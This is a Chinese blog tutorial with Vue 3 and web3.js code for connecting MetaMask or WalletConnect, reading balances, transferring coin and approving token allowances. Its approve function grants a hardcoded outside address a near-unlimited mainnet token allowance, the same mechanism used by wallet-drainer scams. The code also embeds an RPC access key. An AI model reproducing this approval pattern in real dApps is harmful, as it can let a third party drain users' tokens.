vue+web3js+metamask实现代币转账授权功能
- 介绍
- 完整代码
- 依赖
- index.vue
- MetaMask.vue
- Walletconnect.vue
- 踩坑点
介绍
主要实现功能: 连接钱包、获取余额、获取地址、转账、授权
大概效果就是下面这样
默认打开会请求连接小狐狸钱包连接后用户可以进行转账、授权等一系列操作
个人环境:vue3 + metamask插件 + Ganache
Ganache用来在本地测试环境中导出钱包执行转账操作
安装地址 https://trufflesuite.com/ganache/
RPC节点可以用我申请这个,也可以自己去申请
建议自己去申请
每天可以请求40k
https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/
https://getblock.io/
安装完以后进入到软件
有这样的一个界面
把链ID 和RPC 地址记下来
到小狐狸中添加网络
弄好这些以后在小狐狸中导入钱包,私钥点上面Ganache中那个小钥匙就可以显示了
导入后我们可以看到钱包余额
当然网络我们要选择我们刚刚添加本地网络
到现在为止环境就准备好了
完整代码
依赖
{"name": "web3","version": "0.0.0","private": true,"type": "module","scripts": {"dev": "vite","build": "vite build","preview": "vite preview"},"dependencies": {"@wagmi/core": "^1.4.12","@web3modal/wagmi": "^3.5.3","pinia": "^2.1.7","sass": "^1.69.6","viem": "^1.21.1","vue": "^3.3.11","vue-router": "^4.2.5","web3": "^4.3.0"},"devDependencies": {"@vitejs/plugin-vue": "^4.5.2","vite": "^5.0.10"}
}
index.vue
这个文件就是一个框架
配合路由实现点击标题切换到不同的页面
<script setup>
import { ref } from "vue";
import { RouterView, useRouter } from "vue-router";const router = useRouter();const active = ref(0);const goMeta = () => {active.value = 0;router.push("/meta");
};const goWallet = () => {active.value = 1;router.push("/wallet");
};
</script><template><div class="index"><div class="nav"><span @click="goMeta" :class="active==0?'active':''">MetaMask</span><span @click="goWallet" :class="active==1?'active':''">WalletConnect</span></div><div class="box"><RouterView /></div></div>
</template><style lang="scss" scoped>
.index {width: 60%;height: auto;background: #f8f3d4;padding: 80px;margin: auto;.nav {display: flex;justify-content: space-around;align-items: center;font-weight: 600;span {cursor: pointer;}.active{color: #e84545;border-bottom: 3px solid #e84545;padding-bottom: 5px;}}
}
</style>
MetaMask.vue
具体实现了连接钱包、转账、授权等操作
import { bsc20 } from “@/abi/BSC20.js”;
bsc20这个是bsc合约的abi,可以自己到区块浏览器上复制
转账我这里默认是10,需要自己修改
<script setup>
import { onMounted, ref } from "vue";
import Web3 from "web3";
import { bsc20 } from "@/abi/BSC20.js";const content = ref("");let web3 = new Web3();
let address = ref("");
let balance = ref("");
const connect = async () => {if (window.ethereum) {//用户已经安装钱包插件window.ethereum.enable().then((res) => {web3 = new Web3(web3.currentProvider);if (res.length > 0) {//至少连接了一个钱包地址console.log("钱包链接成功");console.log(res); //获取连接地址address.value = res[0];web3 = new Web3(Web3.givenProvider || "https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/" //主网// Web3.givenProvider || "HTTP://127.0.0.1:7545" //本地基于Ganache,授权功能实现不了// Web3.givenProvider || "https://data-seed-prebsc-1-s1.binance.org:8545" //bsc测试网,授权功能也实现不了);} else {console.log("请先链接钱包");window.ethereum.enable(); //用户安装了钱包插件,但未连接钱包}});} else {alert("请先安装metamask钱包或使用walletconnect进行连接");}
};const getAddress = () => {content.value = address.value;
};const getBalance = async () => {await window.ethereum.request({method: "eth_getBalance",params: [address.value, "latest"],}).then((res) => {balance.value = Web3.utils.fromWei(parseInt(res, 16).toString(), "ether");content.value = balance.value;});
};const transfer = async () => {const num = parseInt(web3.utils.toWei("10", "ether")); //必须要先转为数字在转16进制const hexValue = "0x" + num.toString(16);const transactionParams = {from: address.value,to: "0x6Fe2A04ABd03EB587d4a913F04e3Bbef9b7809a1",gas: "0x5208", // 一般情况下,以太坊交易的 gas 限制是21000value: hexValue, // 以太币数量需要16进制数据单位是wei};// 发送交易ethereum.request({method: "eth_sendTransaction",params: [transactionParams],}).then((transactionHash) => {console.log("Transaction Hash:", transactionHash);}).catch((error) => {console.error("Error:", error);});
};const approve = async () => { //必须要主网才可以try {// 检查 MetaMask 是否已安装并连接if (window.ethereum) {const contractAddress = "0x2170ed0880ac9a755fd29b2688956bd959f933f8"; // 合约地址const contractAbi = bsc20; // 合约 ABI// 合约方法名称和参数const authorizedAddress = "0xED1d7e7AF459e82DC44CC847355d32069A9f3830"; // 授权地址const authorizationAmount = "0x33b2e3c9fd0804000000000"; // 授权数量的十六进制表示// 初始化合约const contract = new web3.eth.Contract(contractAbi, contractAddress);// 获取账户列表// 构建交易对象const transactionObject = {from: address.value,to: contractAddress,data: contract.methods.approve(authorizedAddress, authorizationAmount).encodeABI(),};// 发送交易请求const result = await window.ethereum.request({method: "eth_sendTransaction",params: [transactionObject],});console.log(result);} else {console.error("MetaMask 提供者未找到");}} catch (error) {console.error("发生错误:", error);}
};onMounted(() => {connect();
});
</script><template><div class="meta"><button @click="getAddress">获取地址</button><button @click="getBalance">获取余额</button><button @click="transfer">转账</button><button @click="approve">授权</button></div><span>{{ content }}</span>
</template><style lang="scss" scoped>
.meta {padding: 40px;display: flex;justify-content: space-between;button {width: 75px;height: 30px;cursor: pointer;}
}
span {text-align: center;
}
</style>
Walletconnect.vue
通过walletconnect连接只是实现了获取地址和余额的方法
转账和授权我不太会写
官方文档暂时也还不太理解
<script setup>
import { ref, onMounted } from "vue";
import { bsc20 } from "@/abi/BSC20.js";
import Web3 from "web3";
import {createWeb3Modal,defaultWagmiConfig,useWeb3Modal,
} from "@web3modal/wagmi/vue";
import { bsc, bscTestnet, mainnet, arbitrum } from "viem/chains";
import { getAccount } from "@wagmi/core";let web3;
const content = ref("");
const address = ref("");
const balance = ref("");
const walletConnect = () => {// 1. Get projectId at https://cloud.walletconnect.comconst projectId = "3840874bfac68f574157f707d84737bf";// 2. Create wagmiConfigconst metadata = {name: "Web3Modal",description: "Web3Modal Example",url: "https://web3modal.com",icons: ["https://avatars.githubusercontent.com/u/37784886"],};const chains = [bsc, bscTestnet, mainnet, arbitrum];const wagmiConfig = defaultWagmiConfig({ chains, projectId, metadata });// 3. Create modalcreateWeb3Modal({ wagmiConfig, projectId, chains });const modal = useWeb3Modal();modal.open({ view: "Account" });web3 = new Web3("https://bsc.getblock.io/a2b0c3bb-10a9-4400-973e-7b6bc011d298/mainnet/");
};const getAddress = () => {const account = getAccount();address.value= account.address;content.value= address.value;
};const getBalance = () => {web3.eth.getBalance(address.value).then((res) => {balance.value = Web3.utils.fromWei(res, "ether");content.value = balance.value;});
};const transfer = async () => {// 不知道应该怎么写
}const approve = () => {};onMounted(() => {walletConnect();
});
</script><template><div class="wallet"><button @click="getAddress">获取地址</button><button @click="getBalance">获取余额</button><button @click="transfer">转账</button><button @click="approve">授权</button></div><span>{{ content }}</span>
</template><style lang="scss" scoped>
.wallet {padding: 40px;display: flex;justify-content: space-between;button {width: 75px;height: 30px;cursor: pointer;}
}
span {text-align: center;
}
</style>
踩坑点
1.当连接测试网和本地网络的时候不能实现授权
具体原因我也不知道2.小狐狸官方要求使用 ethereum.request发起交易请求,使用web3.eth就会报错
eth_sendTransaction方法不存在
官方文档是纯英文的不是很能看得懂3.使用eth_sendTransaction转账的时候要先转wei再转16进制
web3.utils.toWei("1","ether")
使用这个方法转wei得到的结果是一个字符串,必须先转成数字才可以转16进制
MetaMask 官方文档
https://docs.metamask.io/wallet/reference/json-rpc-api/